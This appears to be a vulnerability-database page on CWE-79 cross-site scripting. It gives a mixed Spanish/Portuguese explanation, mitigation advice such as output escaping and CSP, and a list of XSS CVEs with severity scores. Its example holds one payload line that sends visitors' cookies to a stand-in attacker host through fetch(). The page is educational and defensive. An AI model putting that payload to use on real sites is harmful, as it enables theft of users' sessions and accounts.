Fallos del tipo CWE-79

30.256 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11886MEDIUMContact Form and Calls To Action by vcita <= 2.7.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-30442MEDIUMWordPress Bold Page Builder plugin <= 4.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-54232MEDIUMWordPress RRAddons for Elementor plugin <= 1.1.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-34564CRITICALCI4MS: Menu Management (Pages) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2024-11321MEDIUMReflected XSS in Hi e-learning's Learning Management System (LMS)EPSS 0.3%CVE-2024-33916MEDIUMWordPress CPO Companion plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-33926MEDIUMWordPress GWP-Histats plugin <= 1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-38308HIGHAdvantech ADAM-5550 Cross-site ScriptingEPSS 0.3%CVE-2024-32526MEDIUMWordPress Easy Textillate plugin <= 2.02 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-13561MEDIUMTarget Video Easy Publish <= 3.8.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via brid_override_yt ShortcodeEPSS 0.3%CVE-2024-32554MEDIUMWordPress Knight Lab Timeline plugin <= 3.9.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-63611HIGHCross-Site Scripting in phpgurukul Hostel Management System v2.1 user-provided complaint fields (Explain the Complaint) submitted via /regisEPSS 0.3%CVE-2024-9141MEDIUMCross-Site Scripting (XSS) vulnerability in Oct8neEPSS 0.3%CVE-2024-56287MEDIUMWordPress WP jQuery DataTable Plugin <= 4.0.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-1026LOWCogites eReserv config.php cross site scriptingEPSS 0.3%CVE-2025-2542MEDIUMYour Simple SVG Support <= 1.0.1 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-26159MEDIUMLaravel Starter 11.11.0 is vulnerable to Cross Site Scripting (XSS) in the tags feature. Any user with the ability of create or modify tags EPSS 0.3%CVE-2023-6990MEDIUMWeaver Xtreme <= 6.3.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-4000MEDIUMSeeyon Zhiyuan OA Web Application System ssoproxy.jsp cross site scriptingEPSS 0.3%CVE-2025-3999MEDIUMSeeyon Zhiyuan OA Web Application System URL Parameter date.jsp cross site scriptingEPSS 0.3%